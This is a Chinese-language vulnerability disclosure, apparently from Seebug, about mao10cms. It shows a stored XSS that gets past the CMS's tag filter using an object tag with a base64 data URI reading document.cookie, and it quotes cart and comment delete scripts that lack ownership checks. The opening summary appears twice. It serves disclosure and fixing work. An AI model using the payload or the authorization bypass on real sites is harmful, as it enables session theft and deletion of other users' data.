### 简要描述: 包括多个存储型XSS,越权 ### 详细说明: 1.首先来看存储型XSS漏洞,这个漏洞的根源在于mao10cms对于富文本的过滤函数不完善,我们来看mao10cms的过滤策略。 ``` function mc_remove_html($text, $type = 'html') { if($type=='all') { $text = nl2br($text); $text = real_strip_tags($text); $text = addslashes($text); $text = trim($text); } else { // 无标签格式 $text_tags = ''; //只保留链接 $link_tags = '<a>'; //只保留图片 $image_tags = '<img>'; //只存在字体样式 $font_tags = '<i><b><u><s><em><strong><font><big><small><sup><sub><bdo><h1><h2><h3><h4><h5><h6>'; //标题摘要基本格式 $base_tags = $font_tags . '<p> <hr><a><img><map><area><pre><code><q><blockquote><acronym><cite><ins><del><center><strike>'; //兼容Form格式 $form_tags = $base_tags . '<form><input><textarea><button><select><optgroup><option><label><fieldset><legend>'; //内容等允许HTML的格式 $html_tags = $base_tags . '<ul><ol><li><dl><dd><dt><table><caption><td><th><tr><thead><tbody><tfoot><col><colgroup><div><span><object><embed><param>'; //专题等全HTML格式 $all_tags = $form_tags . $html_tags ....
### 简要描述: 包括多个存储型XSS,越权 ### 详细说明: 1.首先来看存储型XSS漏洞,这个漏洞的根源在于mao10cms对于富文本的过滤函数不完善,我们来看mao10cms的过滤策略。 ``` function mc_remove_html($text, $type = 'html') { if($type=='all') { $text = nl2br($text); $text = real_strip_tags($text); $text = addslashes($text); $text = trim($text); } else { // 无标签格式 $text_tags = ''; //只保留链接 $link_tags = '<a>'; //只保留图片 $image_tags = '<img>'; //只存在字体样式 $font_tags = '<i><b><u><s><em><strong><font><big><small><sup><sub><bdo><h1><h2><h3><h4><h5><h6>'; //标题摘要基本格式 $base_tags = $font_tags . '<p> <hr><a><img><map><area><pre><code><q><blockquote><acronym><cite><ins><del><center><strike>'; //兼容Form格式 $form_tags = $base_tags . '<form><input><textarea><button><select><optgroup><option><label><fieldset><legend>'; //内容等允许HTML的格式 $html_tags = $base_tags . '<ul><ol><li><dl><dd><dt><table><caption><td><th><tr><thead><tbody><tfoot><col><colgroup><div><span><object><embed><param>'; //专题等全HTML格式 $all_tags = $form_tags . $html_tags . '<!DOCTYPE><meta><html><head><title><body><base><basefont><script><noscript><applet><object><param><style><frame><frameset><noframes><iframe>'; //过滤标签 $text = real_strip_tags($text, ${$type . '_tags'}); // 过滤攻击代码 if ($type != 'all') { // 过滤危险的属性,如:过滤on事件lang js while (preg_match('/(<[^><]+)(ondblclick|onclick|onload|onerror|unload|onmouseover|onmouseup|onmouseout|onmousedown|onkeydown|onkeypress|onkeyup|onblur|onchange|onfocus|action|background|codebase|dynsrc|lowsrc)([^><]*)/i', $text, $mat)) { $text = str_ireplace($mat[0], $mat[1] . $mat[3], $text); } while (preg_match('/(<[^><]+)(window\.|javascript:|js:|about:|file:|document\.|vbs:|cookie)([^><]*)/i', $text, $mat)) { $text = str_ireplace($mat[0], $mat[1] . $mat[3], $text); } } } return $text; }; ``` 2.可以看出mao10cms过滤了很多危险的标签,事件等。但是对标签和事件的过滤还是不完整,可以用embed和object标签进行绕过。以互动社区----新建话题为例,同样的问题多处存在 [<img src="https://images.seebug.org/upload/201510/13120624060705668e143d38ecc732635181c2b7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/13120624060705668e143d38ecc732635181c2b7.png) 新建话题的过程中,进行抓包。修改其中的content字段为 ``` %3Cobject%20data%3D%22data%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b%22%3E%3C%2fobject%3E ``` 该段payload,是对object标签进行urlencode编码之后的结果。 [<img src="https://images.seebug.org/upload/201510/131207492a2ab71cdd71fb3635fb421417a0763d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/131207492a2ab71cdd71fb3635fb421417a0763d.png) 3.然后可以看到添加的话题 [<img src="https://images.seebug.org/upload/201510/13120823c8a07d844eb5a9708a9dc48c5d498dbe.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/13120823c8a07d844eb5a9708a9dc48c5d498dbe.png) 4.再来越权漏洞,定位到文件 do/cart_delete.php文件 ``` <?php require 'functions.php'; if(mc_user_id()) : if($_POST['id']>0 && $_POST['url']) : $db->where('id',$_POST['id']); $cart = $db->getOne('rank_to_pro'); if($cart['id']>0) : if($cart['package']>0) : $db->where('package',$cart['package']); else : $db->where('id',$cart['id']); endif; if($db->delete('rank_to_pro')) : mc_update_stock($cart['pro_id'],$cart['parameter'],1); $url = $_POST['url'].'&showcart=1&done=删除成功'; else : $url = $_POST['url'].'&showcart=1&done=删除失败'; endif; else : $url = mc_option('site_url').'?done=操作参数有误&showcart=1'; endif; else : $url = mc_option('site_url').'?done=操作参数有误&showcart=1'; endif; else : $url = mc_option('site_url').'?m=user&a=login&done=请先登录'; endif; Header("Location:$url"); ?> ``` 可以看出这里mao10cms只是验证了是否登录,而没有验证cart是否属于该用于,没有对所有权进行验证。这就有越权删除他人cart的漏洞 5.同样的越权漏洞还有,do/comment_delete.php ``` <?php require 'functions.php'; if(mc_user_id()>0) : if($_GET['id']>0) : $db->where('id',$_GET['id']); $comment = $db->getOne('comments'); if($comment['id']>0) : $db->where('id',$_GET['id']); if($db->delete('comments')) : $url = mc_option('site_url').'?m=shop&a=topic&id='.$comment['topic_id'].'&done=删除成功'; else : $url = mc_option('site_url').'?m=shop&a=topic&id='.$comment['topic_id'].'&done=删除失败'; endif; else : $url = mc_option('site_url').'?done=参数错误'; endif; else : $url = mc_option('site_url').'?done=参数错误'; endif; else : $url = mc_option('site_url').'?m=user&a=login&done=请先登录'; endif; Header("Location:$url"); ?> ``` 和上面一样,可以越权删除他人的comment。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201510/13120823c8a07d844eb5a9708a9dc48c5d498dbe.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/13120823c8a07d844eb5a9708a9dc48c5d498dbe.png) 越权的就不截图的,相信程序员懂得。截图的话不好比较,麻烦